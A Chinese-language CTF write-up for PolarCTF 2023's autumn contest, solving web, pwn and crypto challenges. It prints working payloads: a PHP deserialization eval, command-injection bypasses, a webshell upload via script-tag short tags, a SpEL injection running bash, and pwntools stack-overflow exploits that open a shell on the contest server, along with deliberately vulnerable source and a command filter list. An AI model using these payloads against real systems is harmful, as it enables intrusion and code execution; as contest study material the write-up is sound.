目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. ezupload
    2. 2.2. php very nice
    3. 2.3. 再来ping一波啊
    4. 2.4. 代码审计1
    5. 2.5. wu
    6. 2.6. 自由的文件上传系统
    7. 2.7. ezjava
  3. 3. Pwn
    1. 3.1. 小狗汪汪汪
    2. 3.2. 03ret2syscall_32
  4. 4. Crypto
    1. 4.1. 天干地支
    2. 4.2. low encryption exponent RSA

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PolarCTF 2023秋季赛

2023/9/23 CTF线上赛
  |     |   总文章阅读量:

前言

web ak了,顺带做了点pwn和密码

最终排名:14

Web

ezupload

要求传gif,抓包改后缀为php写马

image-20230923142536163

flag在上一级目录

image-20230923142639131

image-20230923142737973


php very nice

反序列化

源码

<?php
 highlight_file(__FILE__);
 class Example
 {
     public $sys='Can you find the leak?';
     function __destruct(){
         eval($this->sys);
     }
 }
 unserialize($_GET['a']);
 ?>

非常基础的反序列化

exp:

<?php
class Example {
    public $sys='Can you find the leak?'; 
}
$a=new Example();
$a->sys="system('tac flag.php');";
echo serialize($a);

image-20230923181458964


再来ping一波啊

逆天,环境变量的flag是错的

image-20230923145917792

正解:遍历了一下目录没找到flag文件,flag在index.php里

我这里测了半天最后是用变量拼接命令执行来读index.php的,空格用%09代替

image-20230923150056211

这里把源码扒下来了

<?php
    $flag = 'flag{ae5eb824ef87499f644c3f11a7176157}';
	if(isset($_GET['ip'])){
		$ip = $_GET['ip'];
		if(preg_match("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
			print_r($match);
			print($ip);
			echo "<pre>";
			echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
			die("fxck your symbol!");
		}
		else if(preg_match("/ /", $ip)){
			die("空格我可没加难度这可真是复习,/斜眼笑");
		}
		else if(preg_match("/bash/", $ip)){
			die("Bash is not allowed");
		}
		else if(preg_match("/ls/", $ip)){
			die("我很抱歉,其实你得再研究研究");
		}
       		 else if(preg_match("/cat|tac|sort|head|tail|more|less/", $ip)){
			die("常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的-。-,你再研究研究?");
		}
		else if(preg_match("/rm/", $ip)){
			die("你要搞我???");
		}
		else if(preg_match("/index/",$ip)){
			die("那能让你直接读?");
		}
		$a = system("ping -c 4 ".$ip);
		echo "<pre>";
		print_r($a);
	}

	?>

这里其实可以用nl来读文件,试了一下确实可行


代码审计1

php原生类

<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
           die("flag is no here!");
} else {
    $xsx = $_GET['xsx'];
    echo new $sys($xsx);
}

最底下出现了echo new $sys($xsx),可以知道这题应该是用到原生类

payload:

SplFileObject(php://filter/convert.base64-encode/resource=flag.php)

image-20230923183221151


wu

RCE取反

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
    die("no!");
}
@eval($a);
?>

rce取反秒了

image-20230923150818272


自由的文件上传系统

文件上传+php短标签

拿到shell后顺手扒下来的源码

<?php
error_reporting(0);
$path = "/var/www/html/upload";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
?>
<!doctype html>
<html lang="zh" class="no-js">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> 
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>è‡ªç”±çš„æ–‡ä»¶ä¸Šä¼ ç³»ç»Ÿ</title>
	<link rel="stylesheet" type="text/css" href="css/normalize.css" />
	<link rel="stylesheet" type="text/css" href="css/default.css" />
	<link rel="stylesheet" type="text/css" href="css/component.css" />
	<script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script>
</head>
<body>
	<div class="container">
			<header class="htmleaf-header">
				<h1>è‡ªç”±çš„æ–‡ä»¶ä¸Šä¼ ç³»ç»Ÿ <span>ç®€å•ã€è‰¯å¿ƒã€è¯šä¿¡ã€å¼€æºã€å…è´¹ã€å®‰å…¨ã€æ— é™ç©ºé—´</span></h1>
				<div >
					<a class="htmleaf-icon icon-htmleaf-home-outline" href="sectet_include.php?file=index.html" title="返回主页" target="_blank"><span> 返回主页</span></a>
				</div>
			</header>
			<div class="content">

			<script language="php"> 
			if(isset($content) and $content!=null){
				$file = $path.'/'.rand(10000,99999).rand(10000,99999);
				file_put_contents($file, $content);
				echo "<br>æˆåŠŸä¸Šä¼ ï¼ä¸ºäº†æ‚¨å’Œä»–äººçš„å®‰å…¨ï¼Œæˆ‘ä»¬ç®€å•çš„å¸®æ‚¨æ¶¦è‰²äº†ä¸€ä¸‹æ–‡ä»¶ï¼Œè¯·ä¸ç”¨å®¢æ°”ã€‚<br><br> 文件绝对路径: $file<br>";
			}else{
				echo "ä½ å¥½åƒè¿˜æ²¡ä¸Šä¼ æ–‡ä»¶æ0.0";
			}
			</script>
			<footer>Designed By <a href="http://shawroot.cc" target="_blank">ShawRoot</a>.</footer>

			</div>
	</div>
<script src="js/custom-file-input.js"></script>
</body>
</html>

这题说会帮我们润色文件,一开始还以为会有二次渲染,结果试了半天发现没有

尝试传入文件,发现会回显传入文件的路径,传入文件后的文件名没有后缀

然后首页ctrl+u发现一个存在文件包含的路径sectet_include.php?file=

image-20230923194924026

接下来就是构造一句话木马了进行文件包含了

测试发现把<?过滤了,用<script language="php">短标签绕过即可

image-20230923194834024

拿到shell,注意环境变量里的flag是错的

image-20230923194802076


ezjava

SPEL注入

源码

package com.example.demo.controller;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RequestMapping({"/SPEL"})
@RestController
/* loaded from: demo1-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/demo/controller/spel.class */
public class spel {
    @RequestMapping({"/vul"})
    public String spelVul(String ex) {
        ExpressionParser parser = new SpelExpressionParser();
        EvaluationContext evaluationContext = new StandardEvaluationContext();
        String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
        System.out.println(result);
        return result;
    }
}

路由在/SPEL/vul

没有过滤的SPEL注入,直接参考Boogipop的博客

payload:

/SPEL/vul?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/bash","-c","cat /app/flag.txt").start().getInputStream(), "gbk")).readLine()

image-20230923180518453


Pwn

小狗汪汪汪

ret2text

image-20230923134925816

32位,反编译

image-20230923135001349

ebp偏移0x9位

shift+f12发现有system和/bin/sh

image-20230923135125171

跟踪到函数getshell,找到起始地址

exp:

from pwn import *

p = remote("123.60.135.228", "2149")

offset = 0x9+0x4
get_flag_addr = 0x804859B
payload = offset * b'a' + p32(get_flag_addr)

p.sendline(payload)
p.interactive()

image-20230923135322441


03ret2syscall_32

ret2syscall

直接参考ctfwiki:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2syscall

image-20230923203039919

image-20230923203128544

32位没开保护,ebp偏移0x208

分别拿到eaxebx/bin/shint 0x80的地址

ROPgadget --binary 32 --only 'pop|ret' | grep 'eax'
ROPgadget --binary 32  --only 'pop|ret' | grep 'ebx'
ROPgadget --binary 32 --string '/bin/sh'
ROPgadget --binary 32 --only 'int'

exp:

from pwn import *

sh = remote("123.60.135.228", "2091")

pop_eax_ret = 0x080b8576
pop_edx_ecx_ebx_ret = 0x0806f250
int_0x80 = 0x0806cea3
binsh = 0x080ea068
payload = b'A' * 0x208 + p32(0x4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()

image-20230923203206545


Crypto

天干地支

天干地支加密

小李某一天收到一条微信,微信中写了几个不同的年份
          丁丑 丙子 戊辰 壬午 丁丑 丙子 戊辰 壬午 壬辰 壬辰 辛未 丙戌
          微信的后面还写有“+甲子”,请解出这段密文。
flag格式:flag{XXX}

找张表对着换就行

image-20230923211913600

然后”+甲子“就是再+60,然后转换成字符

脚本:

ascii_values = [14, 13, 5, 19, 14, 13, 5, 19, 29, 29, 8, 23]
result = ""

for ascii_val in ascii_values:
    converted_val = chr(ascii_val + 60)
    result += converted_val

print(result)
# JIAOJIAOYYDS

得到flag


low encryption exponent RSA

低指数加密

题目

# -*- coding = utf-8 -*-
# @software:PyCharm
from Crypto.Util.number import *
import libnum

flag = b'***********************'
m = bytes_to_long(flag)
n = getRandomNBitInteger(2048)
e = 5
c = pow(m, e, n)
print(n)
print(c)
#n=18049146130359556157811138499355569967231668855528566823643376144155931993553424757354835027829037263429007310779886281743425186527415596058004878860570474866413182148724803537036078612785180550377667299555519230603647447077725080756322343538156406080031959768393145744701092093127752647143419553963316375696232038952573236311522683541862835602321038621904842874356522524316864553501304106884213097353522958546518042728628006318129608745487662533959888992223736595503203451378533217004433230837006796341055201266431153548000348148960250455415972226546646460918890401484239320725539304914347952245606818833495867312063
#c=377041108412334062897923100149371833160065752130578483588828849399791858197434981428466047315212724764223394695011882740933537996983126187094472520344493047769519118482187945467176598341785927269390299847888131061799861412055502165865052720513992259109503509827127768615772091500352075827289290029872935215672798059068944088543667111296361405639896493856695176145088430237388172420390881291650155157688737470414069130558367036786376549227175617218017578125

e=5,应该是低指数加密

exp:

from Crypto.Util.number import *
import gmpy2

n = 18049146130359556157811138499355569967231668855528566823643376144155931993553424757354835027829037263429007310779886281743425186527415596058004878860570474866413182148724803537036078612785180550377667299555519230603647447077725080756322343538156406080031959768393145744701092093127752647143419553963316375696232038952573236311522683541862835602321038621904842874356522524316864553501304106884213097353522958546518042728628006318129608745487662533959888992223736595503203451378533217004433230837006796341055201266431153548000348148960250455415972226546646460918890401484239320725539304914347952245606818833495867312063
e = 5
c = 377041108412334062897923100149371833160065752130578483588828849399791858197434981428466047315212724764223394695011882740933537996983126187094472520344493047769519118482187945467176598341785927269390299847888131061799861412055502165865052720513992259109503509827127768615772091500352075827289290029872935215672798059068944088543667111296361405639896493856695176145088430237388172420390881291650155157688737470414069130558367036786376549227175617218017578125
k = 0

t = gmpy2.iroot(c,e)
if t[1]:
    print(long_to_bytes(t[0]))
else:
    while 1:
        m = gmpy2.iroot(k*n+c,e)
        if m[1]:
            print(long_to_bytes(m[0]))
            break
        else:
            k += 1

flag:flag{fea80b814dcb0ff0a17e36c1e72569e7}